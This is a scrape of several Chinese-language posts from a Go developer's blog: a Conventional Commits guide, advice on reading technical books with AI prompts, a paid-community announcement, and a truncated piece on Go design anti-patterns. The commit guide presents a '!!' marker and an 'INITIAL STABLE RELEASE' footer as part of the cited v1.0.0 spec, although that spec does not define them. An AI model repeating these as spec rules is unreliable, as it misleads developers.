Bai。\nGit的Commit Log (提交日志) 是项目演进的脉络，也是开发者之间沟通变更、追溯历史、理解代码演变的关键载体。然而，在实际开发中，我们常常面对杂乱无章、意义不明的提交信息——”fix bug”、”update code”、”wip” 等屡见不鲜。这些模糊的记录不仅让代码审查、问题排查和版本追溯变得异常困难，也阻碍了自动化流程的实施。Conventional Commits (约定式提交) 规范提供了一套清晰、简洁的指引，旨在将每一次提交都转化为有意义、结构化的信息单元，从而显著提升 Commit Log 的价值和可利用性。\n在这篇文章中，我们将探讨Conventional Commits如何作为一项关键指引，帮助开发者和团队构建更清晰、更一致、更具信息量的提交历史。\nCommit Log的困境：为何需要指引？ 缺乏明确指引的Commit Log往往会陷入以下困境：\n信息熵高，有效信息少: 大量模糊、随意的提交信息混杂在一起，难以快速定位关键变更或理解特定提交的目的。 沟通效率低下: 团队成员需要花费额外时间去解读他人的提交意图，代码审查效率降低。 历史追溯困难: 当需要回溯某个功能或 Bug 的引入/修复历史时，无结构的日志如同大海捞针。 自动化阻碍: 不一致、不可预测的提交信息使得自动化生成 Changelog、语义化版本控制（SemVer）等流程难以实现。 面对这些普遍存在的困境，业界亟需一套行之有效的规范来引导开发者记录更有价值的提交信息。这正是 Conventional Commits 规范所要解决的核心问题，它通过引入一套简洁而强大的结构化指引来实现这一目标。Conventional Commits并非强制性的铁律，而是一套强大的指引 (Guidance)，它通过引入轻量级的结构化约定，引导开发者在提交时思考并明确表达变更的性质、范围和影响。\nConventional Commits 核心指引：结构化的力量 该规范的核心指引体现在其简洁的提交信息结构上(如下所示)：\n\u0026lt;type\u0026gt;[optional scope]: \u0026lt;description\u0026gt; [optional body] [optional footer(s)] 遵循这项指引，每次提交都应包含以下关键要素：\nType (类型):****[必须遵循的指引] 表明提交的性质。规范定义了基础类型：\nfix:：修复 Bug (对应 SemVer PATCH)。 feat:：引入新功能 (对应 SemVer MINOR)。 鼓励扩展: 团队可以根据需要定义其他类型，如 build, chore(用于标记那些不涉及新特性或修复的常规维护工作，比如更新依赖项等), ci, docs, style, refactor, perf, test等，以适应具体工作流。这些扩展类型本身通常不直接影响版本号（除非包含破坏性变更）。 Scope (范围):****[可选但推荐的指引] 明确提交影响的代码库区域或模块，用括号包裹，如 feat(api): 或 fix(parser):。这极大地增强了信息的可定位性。\nDescription (描述):****[必须遵循的指引] 紧跟冒号和空格，用简洁的语言（推荐使用祈使句现在时）概括本次提交的核心变更内容。这是提交信息的“标题”。\nBody (正文):****[可选指引] 当简短描述不足以说明时，提供更详细的上下文、动机和实现细节。与 Description 之间需空一行。\nFooter(s) (脚注):****[可选指引] 提供元数据，如关联 Issue (Refs: #123)。特别重要的两个脚注指引：\nBREAKING CHANGE: ：明确标示不兼容的 API 变更 (对应 SemVer MAJOR)。 INITIAL STABLE RELEASE: ：标记项目从 0.y.z 进入 1.0.0。 强调重要变更的简化指引： 规范还提供了 ! (紧跟 type 或 scope 之后) 和 !! 作为标记 BREAKING CHANGE 和 INITIAL STABLE RELEASE 的快捷方式，进一步简化遵循指引的实践。\n为了更直观地理解这个结构，以下是一些典型的Conventional Commits示例：\n简单的 Bug 修复: fix: correct minor typos in documentation 带范围的新功能: feat(lang): add Polish language support 使用 ! 标记破坏性变更: refactor!(auth): remove deprecated JWT authentication method 注意：这里的 ! 表明这是一个破坏性变更，即使type是refactor。\n包含详细正文和脚注的提交: perf(api): improve user query performance significantly Implemented a new indexing strategy for the users table and optimized the SQL query execution plan. Initial tests show a 50% reduction in average query latency under heavy load. Reviewed-by: Alice \u0026lt;alice@example.com\u0026gt; Refs: #456, #478 使用 !! 标记首次稳定版发布: chore(release)!!: prepare for 1.0.0 stable release Finalized documentation, updated dependencies, and ran comprehensive end-to-end tests to ensure stability for the first major release. INITIAL STABLE RELEASE: The project is now considered stable for production use. 通过遵循这些简单的指引，原本混乱的Commit Log就被转化为结构清晰、信息丰富的记录。\n理解了 Conventional Commits 的核心结构和要素后，我们自然会问：遵循这项指引究竟能为开发者和团队带来哪些实实在在的好处？答案是多方面的，它能让原本静态、难以利用的 Commit Log “活”起来，释放出巨大的潜在价值。\n首先，结构化的 type 和 scope 提升了可读性与可理解性，使团队能够快速筛选和定位信息，清晰的 description 和 body 阐述了变更的“什么”和“为什么”。\n其次，一致的格式增强了团队沟通与协作，减少了误解，提高了代码审查和协作效率，使每一次提交都成为清晰的沟通。\n此外，结构化的日志简化了历史追溯与问题排查，便于查找特定功能引入、Bug 修复或破坏性变更的源头。\n最后，一个充满有意义提交的日志自然而然地成为自动化工具的理想输入，能够驱动自动化生成 CHANGELOG、自动化 SemVer 版本判断，以及基于提交类型触发不同的 CI/CD 流程。\n认识到 Conventional Commits 带来的显著价值后，如何在日常开发中有效地遵循并最大化其效益，就成了一个关键问题。仅仅了解规范的语法是不够的，掌握一些最佳实践和深入的洞察，能帮助我们更好地将这项指引融入工作流。\n遵循指引的最佳实践与洞察 为了更好地应用Conventional Commits指引，以下几点值得关注：\n原子化提交: 我们鼓励将复杂的变更分解为多个逻辑上独立的、遵循单一type的提交。这本身就是一种良好的 Git 实践，很多大厂的git commit规范以及代码review规范也是这么要求的。Conventional Commits 进一步强化了这一点。\n选择最合适的Type: 当一次提交包含多种类型的变更时（虽然应尽量避免），选择最能代表其核心意图的 type，并在 Body 中详述其他变更。\n祈使句现在时: 推荐使用如 “Add feature”、”Fix bug” 的风格撰写 Description，简洁、直接，如同给代码库下达指令。\n利用工具辅助: 社区提供了丰富的工具（如Commitizen, commitlint等）来帮助开发者遵循规范格式，并在提交前进行校验，降低遵循指引的负担。\n团队共识与逐步采纳: 引入规范需要团队达成共识。可以通过分享、讨论和使用工具逐步推广。\n当然，良好实践的推广离不开工具的支持。幸运的是，围绕 Conventional Commits 已经形成了一个活跃的社区和丰富的工具生态系统，它们极大地降低了开发者遵循规范的门槛，让指引更容易落地。\n社区生态：工具让指引落地 Conventional Commits 的流行离不开活跃的社区和丰富的工具支持，它们帮助开发者轻松地将这项指引融入日常工作流：\nCommitizen: 交互式命令行工具，引导用户创建符合规范的提交信息。 Commitlint: 用于校验提交信息是否符合规范，常与 Git Hooks (如 husky) 集成。 IDE 插件: 主流 IDE (VS Code, JetBrains IDEs 等) 均有插件提供模板、补全和校验支持。 自动化版本与 Changelog 工具: 如 semantic-release, goreleaser/chglog等，它们消费符合规范的提交历史。 这两年基于大模型的辅助生成commit log的工具以及一些代码智能体应用(如Cursor等）也在规范git commit log方面起到了非常积极的作用，对于像我这样英语非母语但又喜欢以英文log提交的选手来说，这些工具大幅降低了我在纠结如何写commit log时的心智负担，给予了我很大的帮助。\n小结 总而言之，Conventional Commits 远不止一套冷冰冰的格式规则，它更像是一位贴心的向导，一项旨在将每一次提交都转化为宝贵信息资产的核心指引。它赋予我们结构化的力量，能够将困扰许多团队的混乱、低效的Commit Log，转变为清晰、一致且富有洞察力的项目演进历史——这对于提升代码可维护性、团队协作效率乃至自动化流程都至关重要。\n现在，就将这项指引融入你的日常开发吧！ 让每一次git commit不再是随意的记录，而是对项目演进负责任的、有意义的贡献。\n那么，你的团队是如何采纳和实践提交规范的？你在使用Conventional Commits或其他规范时，有什么独到的心得或踩过的“坑”吗？\n非常期待在评论区看到你的分享与交流！\n如果这篇文章让你觉得“提交信息确实应该更有意义”，请分享给你的同事或团队，一起提升代码库的 Commit Log 质量吧!\n别忘了关注我，持续获取更多提升研发效能的实用技巧与深度解析。\n参考资料 Conventional Commits v1.0.0 – https://www.conventionalcommits.org/en/v1.0.0/#specification 著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/24/conventional-commits-guide/","summary":"\u003cp\u003e拯救你的Commit Log：Conventional Commits实践指南 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"拯救你的Commit Log：Conventional Commits实践指南"},{"content":"世界读书日：如何高效阅读“砖头”技术书？我的心法分享（文末赠书） - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n世界读书日：如何高效阅读“砖头”技术书？我的心法分享（文末赠书） 四月 23, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/23/tips-for-reading-technical-books\n大家好，我是Tony Bai。\n今天是世界读书日。聊到读书，尤其是咱们技术人经常要面对的那些厚重的“技术砖头”，估计不少朋友都有过类似的挣扎：道理都懂，书很重要，但就是感觉难啃、读不进去，或者读完就忘，效果不彰。\n技术书籍往往信息密集、逻辑严谨、内容晦涩，想要高效地从中汲取养分，确实需要讲究一些方法。我自己就是一个长期主义者，坚信持续学习和深入思考的力量。多年来，我不仅坚持阅读，也一直在我的博客tonybai.com以及本公众号上进行长期的、持续的输出，这个过程让我对如何高效阅读和内化知识，有了一些切身的体会和思考。 此外，如今AI工具日益强大，如何结合传统方法与智能辅助，是一个非常值得探讨的话题。\n今天，我就结合我的长期实践，和大家分享一些个人实践，特别是在攻克难点和整理笔记环节，我也会着重谈谈AI如何能成为我的得力助手，希望能帮助你更好地攻克技术“硬书”，将知识真正转化为自己的竞争力。\n心法一：明确目标，精准选书——为何而读？ 在信息爆炸的时代，选对书可能比努力读更重要。开始前，先明确“为何而读”：\n当前痛点/目标是什么？ (深入Go并发？掌握K8s？学习AI Agent开发？) 这本书能解决问题吗？ 通过看目录、序言、书评（例如在豆瓣读书、亚马逊评论区、O’Reilly Learning Platform、Manning官网 等站点优质站点查找）、作者背景来判断。 难度是否匹配？ (是否需要前置知识？) 我的做法： 基于工作和学习规划、以及遇到的技术瓶颈选书，优先选择能直接解决我当下问题的、或者能为我未来方向打下坚实基础的书(这的确需要一些前瞻性的技术眼光)。带着明确的目的去读，效率和动力都会高很多。\n心法二：主动出击，建立框架——如何开始？ 面对“砖头书”，忌直接死磕。先做“侦察”，建立整体认知：\n速览目录、序言、总结： 把握全书结构、核心思想。 带着问题阅读： 主动思考你想从中获得什么答案。 我的做法： 我通常会先花半小时到一小时快速“翻阅”全书，在脑海里构建一个大致的知识地图。然后根据我的目标，决定是通读全书，还是重点阅读某些章节。对于特别重要的章节，我会先看一遍小结，再带着问题去细读正文。\n心法三：攻克难点，允许“跳过” 遇到难啃的概念或复杂逻辑卡壳时：\n别死磕，标记跳过： 保持阅读节奏，避免挫败感。后续内容或整体理解可能有助于回头解决。 寻求外援： 查阅资料、社区提问，或同主题书籍的交叉阅读，从多个角度帮助理解难啃的技术概念。 AI在此环节的“神助攻”\n在这个最容易卡壳、也最考验耐心的环节，AI展现出了惊人的辅助潜力，能显著提升我们攻克难点的效率。以下是一些你可以尝试的提示词示例（以经典书籍《The Go Programming Language》为例）：\n多角度解释：\n“请用一个现实生活中的例子，解释《The Go Programming Language》中描述的 Go channel 的概念，特别是带缓冲和不带缓冲 channel 的区别。” “我正在读 TGPL 关于 interface 的章节，对于『接口值』的内部结构（类型和值）有点模糊，请用更通俗的语言解释一下，并说明为什么 nil 接口值不等于包含 nil 指针的接口值？” “请对比 TGPL 中提到的 goroutine 和传统操作系统线程，用打比方的方式解释goroutine的『轻量』体现在哪里？” 代码示例具象化：\n“请根据《The Go Programming Language》中关于 select 语句的介绍，写一个简单的 Go 代码示例，展示如何使用 select 实现一个非阻塞的 channel 发送操作。” “我需要理解 TGPL 中错误处理章节提到的 %w 动词，请提供一个 Go 代码片段，演示如何使用 fmt.Errorf 和 %w 来包装错误，并随后使用 errors.Is 和 errors.As 来检查和提取原始错误。” 模拟对话与“抬杠”：\n“假设你是一位 Go 语言专家，我正在学习 TGPL 的并发章节。我对于 mutex 和 channel 的选择有些困惑，在什么场景下应该优先选择 mutex？什么时候 channel 是更好的选择？我们来讨论一下，请给出你的理由和实例。” “我看到 TGPL 中提到『不要通过共享内存来通信，而应该通过通信来共享内存』。这句话很经典，但我对其理解不够深入。你能挑战我的理解吗？比如，在哪些情况下共享内存（如使用 sync.Mutex）反而是更合适的选择？请举例说明。” AI就像一位不知疲倦、拥有广阔知识的“智能私教”，能够针对你的难点进行个性化的“辅导”，极大地加速了理解和突破瓶颈的过程。\n心法四：提炼精华，有效笔记 “不动笔墨不读书”，关键是怎么记：\n用自己的话总结： 这是内化的核心，检验是否真懂。 建立知识关联： 将新知识与旧知识联系起来。 代码示例验证： 亲自实践代码是关键。 结构化整理： 思维导图、结构化笔记等，用于复习和输出。但在我来看，这不是必须。 AI在此环节的“效率加速器”\n在整理和消化大量信息的过程中，AI 同样能扮演好“智能助手”的角色，帮助我们提高效率，聚焦核心。以下是一些你可以尝试的提示词示例（同样以《The Go Programming Language》为例，前提是你拥有该书籍的电子版数据，用来喂给AI）：\n辅助总结与提炼：\n“请帮我将《The Go Programming Language》第七章『接口（Interfaces）』的核心内容，总结成 5-7 个关键要点，用 bullet points 形式列出。” “我正在阅读 TGPL 关于『并发（Concurrency）』的部分，特别是 goroutine 和 channel。请提取这段内容中关于『select 语句』的主要用途和注意事项。” （重要提示） AI 的总结是草稿，你必须用自己的理解去审核、修改、重写和完善，将信息转化为你自己的知识结构。 笔记结构化建议：\n“我正在为《The Go Programming Language》的第五章『函数（Functions）』做笔记，请给我建议 2-3 种不同的笔记组织结构，例如概念分类、按重要性排序、或者 Q\u0026amp;A 形式。” 快速原型代码：\n“根据 TGPL 中关于『方法（Methods）』的讨论，特别是嵌入（embedding）和方法集（method sets）的概念，请给我生成一个简单的 Go 代码示例，演示结构体嵌入后方法的调用规则。” “请基于 TGPL 中对 go test 工具的介绍，给我生成一个包含基本测试函数、基准测试函数（benchmark）和示例函数（example）的简单 Go测试文件模板。” AI在这里的作用，不是替代思考，而是将我们从一些相对重复、机械性的信息整理工作中解放出来，让我们能将宝贵的认知资源更集中地用于深度理解、批判性思考、知识关联和创造性应用上，这一点与“AI会写Go代码了，初学者还需要系统学习吗？”一文观点异曲同工。\n心法五：学以致用，输出倒逼 阅读只是输入，真正的内化需要输出和实践，这是一个需要长期坚持的过程：\n实践应用： 在项目中应用所学知识。 分享与教学： 写文章、做分享，输出是最好的学习。这也是我的实践精华。 参与讨论： 与他人交流碰撞思想。 持续回顾： 温故而知新。 **我的做法：**我长期坚持在tonybai.com博客进行输出，这是我奉行长期主义、内化知识最重要的方式之一。 把学到的东西用自己的理解讲出来、写出来，这个过程本身就是对知识体系最好的锤炼和检验。同时，在星球里回答大家的提问，也是在不断地进行知识输出和巩固。没有输出的阅读，效果终将有限。\n小结：拥抱工具，以我为主，终身学习 高效阅读技术书籍，是一项可以通过刻意练习而不断提升的技能。在 AI 时代，我们拥有了强大的工具来辅助我们攻克难关、整理信息。但请始终牢记，AI 是我们的“协处理器”和“智能拐杖”，思考和理解的主体，永远是我们自己。\n找到适合自己的节奏，在关键环节善用AI的辅助，保持耐心和好奇心，将阅读视为一场需要长期投入的修行。\n如果你希望将阅读和实践更紧密地结合起来，系统性地提升Go语言能力，并探索Go与AI的结合：\n我把我多年 Go 语言实践和思考的精华，沉淀在了 《Go语言精进之路》 这本书中，它侧重于连接理论与实践，希望能为你打通 Go 语言学习的“任督二脉”。 同时，在我的知识星球 「Go \u0026amp; AI 精进营」 中，我开设了像 【Go进阶课】 这样覆盖语法强化、设计先行与工程实践的体系化课程，并提供深度的 专家答疑 和活跃的 社区交流。我们一起学习，一起实践，一起拥抱 Go 和 AI 的未来。 【世界读书日 · 特别福利】点赞 + 留言 + 在看，赢取签名版《Go语言精进之路》！\n为了感谢大家一直以来的支持，并响应世界读书日的精神，鼓励大家在阅读与实践的道路上不断精进，我特别准备了一个**【世界读书日专属福利】活动！参加门槛很低，大家只需移步到我的公众号同名文章下点赞 + 留言 + 在看，我将结合留言内容的质量与【在看】情况，从参与本次活动的读者中，抽取1位幸运儿赠送一本由我亲笔签名的《Go语言精进之路》(卷1或卷2随机)！获奖名单将在五一劳动节当天公布，获奖读者请在名单公布后的 48 小时内，主动通过公众号后台**联系我，并提供准确的邮寄信息，以便我将签名版书籍寄送给您。\n活动时间：即刻起 – 2025年04月30日23:59。\n期待大家的踊跃参与和精彩分享！ 让我们在阅读与交流中，共同进步！\n希望今天分享的这些心法和 AI 应用思路能对你有所启发。你有什么高效阅读技术书籍的独门秘诀？或者你觉得 AI 在学习中还能扮演哪些角色？欢迎在评论区留言交流！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/04/23/tips-for-reading-technical-books/","summary":"\u003cp\u003e世界读书日：如何高效阅读“砖头”技术书？我的心法分享（文末赠书） - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"世界读书日：如何高效阅读“砖头”技术书？我的心法分享（文末赠书）"},{"content":"不止Go，更是Go+AI：我的知识星球「Go \u0026amp; AI 精进营」全新启航！ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n不止Go，更是Go+AI：我的知识星球「Go \u0026amp; AI 精进营」全新启航！ 四月 22, 2025 2 条评论 本文永久链接 – https://tonybai.com/2025/04/22/go-ai-knowledge-community-launch\n大家好，我是Tony Bai。\n首先，由衷感谢大家一直以来对我的关注和对我之前知识星球“Gopher部落”的支持！在过往的时光里，我们一起探讨Go语言的奥秘，分享实践中的得失，那是一段非常宝贵的共同成长的记忆。\n随着人工智能浪潮的席卷而来，它正以前所未有的速度渗透和重塑着软件开发的方方面面。同时，我也在不断思考，如何能为大家提供更聚焦、更深度、更体系化的价值，真正助力各位在技术浪潮中乘风破浪。\n基于这些思考，我今天郑重地向大家宣布：我的知识星球，原“Gopher部落”，现已正式升级更名为「Go \u0026amp; AI 精进营」！\n这不仅仅是一次名称的变更，它代表着星球未来内容方向、服务重心以及我对各位星友价值承诺的全面进化。\n「Go \u0026amp; AI 精进营」：聚焦两大核心支柱 未来，我的星球将更加专注于以下核心领域，致力于打造一个高质量、高价值的技术学习与交流社区，为您提供更高质量、更体系化的学习与交流体验。\n高质量体系课创作 (核心价值) 我将倾注核心精力，打造一系列深度、连贯的体系课程，覆盖Go语言从底层原理到高级实践，以及AI赋能应用的前沿领域。目前规划及逐步更新的课程体系包括：\nGo深度进阶课：\nGo进阶课：覆盖语法强化、设计先行与工程实践三大领域，源自GopherChina大会会前高级训练营； Go原理课：深入理解语言底层机制； Go避坑课：识别并规避常见陷阱与缺陷； Go高级实践：学习真实场景下的工程化与最佳实践； Go版本/特性精解：紧跟官方动态，精通新版本特性； Go+AI 实战课：\nGo+AI应用实战：学习用Go构建AI原生的应用； Agent开发实战课：掌握前沿的AI Agent开发； Go与大模型：探索Go语言与LLM的结合与应用； AI工具实践：熟练运用AI工具提升开发效率； 生态与视野：\n云原生与Go：介绍云原生生态中最新理念、工具与应用； GopherDaily精选：（升级） 提供更具洞察力的Go生态核心资讯解读； 年度技术盘点：把握Go及相关领域发展趋势； (附送) WebRTC/Rust专题：特定前沿技术深度探讨； 职业发展：\n成长心法：学习顶尖技术人的思维模式与成长路径； 高质量核心服务 (持续保障) 深度问答: 我将继续坚持 6 小时内响应（工作日有效时间），并提供更深入、更有价值的解答 (星友问答专栏)。 独家资源: 持续分享精选学习资料、内部工具和专属福利 (资源福利区专栏)。 活动/互动/作业: 我们会定期组织低门槛、有价值的 UGC 活动（如工具箱分享、避坑实录、主题讨论等），并引入作业和积分排行榜机制，让学习更有趣、更有效。 前瞻动态: 活动预告、新课内测、行业洞察，让你始终快人一步 (活动与前瞻专栏)。 活跃社群: 鼓励高质量讨论，营造“抱团学习，共同成长”的氛围。 这对您意味着什么？ 更高价值的回报： 您将获得更系统、更深入、更聚焦于 Go 进阶和 AI 应用的核心内容与服务。 更清晰的成长路径： 体系化的课程将帮助您更高效地提升技术能力。 关于未来与价格的一点说明 为了能够持续投入足够的时间和精力，为大家带来更高质量的内容和更精细化的服务，「Go \u0026amp; AI 精进营」在未来会适时调整新加入成员的价格（是的，会涨价，可以确定的是一个月后会涨价到388元/年，更多的体系课意味着更多的投入和干货，也意味着更高的价格，希望大家理解）。\n但请老朋友们放心，星球会对现有成员提供专属的阶梯续费优惠，以感谢大家的一路同行（具体方案会通过星球内部通知）。\n【全新福利】邀请伙伴，共享收益！ 一个高质量的社区，离不开新鲜血液和共同建设。我们正式启动了星友推荐返现计划！\n如何获益？ 每成功邀请一位新朋友通过你的渠道码/链接付费加入「Go \u0026amp; AI 精进营」，订单确认后，你将获得该订单实付金额 15% 的现金返现！ （如果你有影响力渠道或能批量邀请，欢迎私信洽谈更高比例的专属合作方案，申请你的专属星球邀请渠道码或链接） 期待你邀请志同道合的技术伙伴加入，一起学习精进，同时也能共享社区发展的红利！ 我的期许与邀请 我深知，创建一个真正有价值的技术社区需要持续的投入和大家的共同努力。我将全力以赴，用心打磨内容、做好服务，不负大家的期待。\n如果你：\n渴望在 Go 语言领域达到更高水平，而不满足于表面知识； 对 AI 技术充满好奇，希望掌握用 Go 构建 AI 应用的实战能力； 寻求一个高质量、重深度、氛围好的技术交流圈子； 认同持续学习和深度思考的价值； 那么，「Go \u0026amp; AI 精进营」正是为你量身打造的平台。\n现在就加入我们，开启你的 Go 深度与 AI 赋能的精进之旅吧！\n有任何关于星球内容、升级、返现或其他方面的疑问，也欢迎在评论区留言。\nLet’s Go \u0026amp; Grow, together in the AI era!\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/04/22/go-ai-knowledge-community-launch/","summary":"\u003cp\u003e不止Go，更是Go+AI：我的知识星球「Go \u0026amp; AI 精进营」全新启航！ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"不止Go，更是Go+AI：我的知识星球「Go \u0026 AI 精进营」全新启航！"},{"content":"Go项目设计的“七宗罪”？警惕那些流行的“反模式” - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo项目设计的“七宗罪”？警惕那些流行的“反模式” 四月 21, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/21/go-project-design-antipatterns\n大家好，我是Tony Bai。\n在软件开发这个行当里，“最佳实践”、“设计模式”、“标准规范”这些词汇总是自带光环。它们总是承诺会带来更好的代码质量、可维护性和扩展性。然而，当这些“圣经”般的原则被生搬硬套到Go语言的语境下时，有时非但不能带来预期的好处，反而可能把我们引入“歧途”，滋生出一些看似“专业”实则有害的“反模式”。\n最近我也拜读了几篇国外开发者关于Go项目布局和设计哲学的文章，结合我自己这些年的实践和观察，我愈发觉得，Go社区中确实存在一些需要警惕的、流行的设计“反模式”。这些“反模式”很多人都或多或少的使用过，包括曾经的我自己。\n在这篇文章中，我就总结一下我眼中的Go项目设计“七宗罪”，希望能帮助大家在实践中保持清醒，做出更符合Go精神的决策。\n第一宗罪：为了结构而结构——过度分层与分组 表现： 项目伊始，不假思索地创建pkg/、internal/、cmd/、util/、model/、handler/、service/ 等层层嵌套的目录，美其名曰“组织清晰”、“符合标准”。\n危害：\n违背简洁： Go 的核心哲学是简洁。不必要的目录层级增加了认知负担和导航成本。\n过早抽象/耦合： 在需求尚不明确时就划分 service、handler 等，可能导致错误的抽象边界和不必要的耦合。\npkg/ 的迷思： pkg/ 是一个过时的、缺乏语义的约定，Go官方在Go 1.4时将Go项目中的pkg层次去掉了，Go官方的module布局指南中也使用了更多有意义的名字代替了pkg。\ninternal/ 的滥用： 它是 Go 工具链的一个特性，用于保护内部实现不被外部导入。但如果你的项目根本不作为库被外部依赖，或者需要保护的代码很少，强制使用 internal/ 只会徒增复杂性。\ncmd/ 的误用： 除非你的仓库包含多个独立的可执行文件，否则将单一的main.go放入cmd/毫无必要。\n解药： 保持扁平！从根目录开始，根据实际的功能或领域需要创建有意义的包。让结构随着项目的增长有机演化，而不是一开始就套用模板。\n注：笔者当年也是pkg的“忠实粉丝”，新创建一个项目，无论规模大小，总喜欢先将pkg目录预创建出来。现在是时候根据项目的演进和规模的增长来判断是否需要”pkg”这个有点像“namespace”的目录了，即当你有多个希望公开的库时，是否用pkg/作为一个顶层分组，这个是要基于项目的实际情况进行判断的。\n第二宗罪：无效的“美化运动”——无价值的重构与移动 表现： 为了让代码看起来“更干净”、“更符合某种设计模式”或“消除Linter警告”，在没有明确收益（修复 Bug、增加功能、提升性能、解决安全问题）的情况下，大规模地移动代码、修改变量名、调整文件结构。\n危害：\n浪费时间精力： 投入大量时间做无意义的表面文章。\n引入风险： 任何修改都有引入新 Bug 的风险，没有价值的修改更是得不偿失。\n增加 Code Review 负担： 团队成员需要花费时间理解这些非功能性的变更。\n违背价值驱动： 软件工程的核心是交付价值，而不是追求代码的“艺术感”。\n解药： 坚持价值驱动的变更！在做任何结构或代码调整前，严格拷问自己：这个改动解决了什么真实的、当前存在的问题？它的收益是否能明确衡量并大于风险？\n第三宗罪：接口的“原罪”——过早、过度的抽象 表现：\n在只有一个具体实现的情况下，就为其定义接口。\n定义庞大、臃肿的接口，包含过多方法。\n为了“可测试性”而无脑地给所有东西加上接口。\n危害：\n不必要的抽象： 接口是为了解耦和多态。在不需要这些时引入接口，只会增加代码量和理解成本。\n弱化抽象能力： “接口越大，抽象越弱”（来自Go谚语）。大接口难以实现和维护，它变得模糊，难以理解哪些方法是真正必要的，也失去了其作为“契约”的精准性。\n阻碍演化： 过早定义接口可能锁定不成熟的设计，后续修改成本更高。\n测试的借口： Go拥有强大的测试工具（如表驱动测试），很多时候并不需要接口来实现可测试性。为测试而引入的接口可能扭曲生产代码的设计。\n解药：\n拥抱具体： 先写具体实现。\n发现接口，而非设计接口： 只有当你确实需要多种实现（包括测试中的Mock，但要谨慎对待），或者需要打破循环依赖时，才考虑提取接口。\n保持接口小巧、正交： 遵循接口隔离原则。\n第四宗罪：“大杂烩”的诱惑——utils/common/shared 黑洞 表现： 创建一个名为 utils、common、shared 或 helpers 的包，把各种看似“通用”的函数、类型塞进去。\n危害：\n职责不清： 这些包缺乏明确的领域或功能归属，成为代码的“垃圾抽屉”。\n依赖洼地： 随着项目增长，这些包往往会依赖越来越多的其他包，同时也被越来越多的包依赖，极易引发循环依赖或成为构建瓶颈。\n降低内聚性： 本应属于特定领域的功能被剥离出来，破坏了原有包的内聚性。\n解药：\n就近原则： 如果一个“工具函数”只被一个包使用，就把它放在那个包里（可以是私有的）。\n功能归类： 如果一个“工具函数”被多个包使用，思考它真正属于哪个功能领域，为其创建一个有意义的新包（例如 applog 而不是 logutil）。\n思考依赖方向： 真正通用的基础库（如自定义的 string 处理、时间处理）应该处于依赖关系图的底层，不应依赖上层业务逻辑。\n注：坦白说，其他几项“罪过”或许还只是部分开发者的“偶发行为”，但这“第四宗罪”——随手创建 utils 或 common 包——恐怕是我们绝大多数人都曾犯过，甚至习以为常的“通病”。笔者也是如此:)。\n第五宗罪：对 DRY 的“迷信”——为了“不重复”而引入不当依赖 表现： 为了避免几行相似代码的重复，强行提取公共函数或类型，并为此引入新的包依赖，有时甚至导致复杂的依赖关系或循环依赖。\n危害：\n错误的抽象： 有时看似重复的代码，在不同的上下文中可能有细微的差别或独立演化的需求。强行合并可能导致错误的抽象。\n不必要的耦合： 为了共享几行代码而引入整个包的依赖，增加了耦合度，可能比少量重复代码的维护成本更高。\n违背 Go 谚语： “A little copying is better than a little dependency.”（一点复制代码胜过一点点依赖）。Go 社区鼓励在权衡后接受适度的代码重复，以换取更低的耦合度和更高的独立性。\n解药：\n批判性看待重复： 看到重复代码时，先思考它们是否真的是“同一件事”？它们的演化趋势是否一致？\n权衡成本： 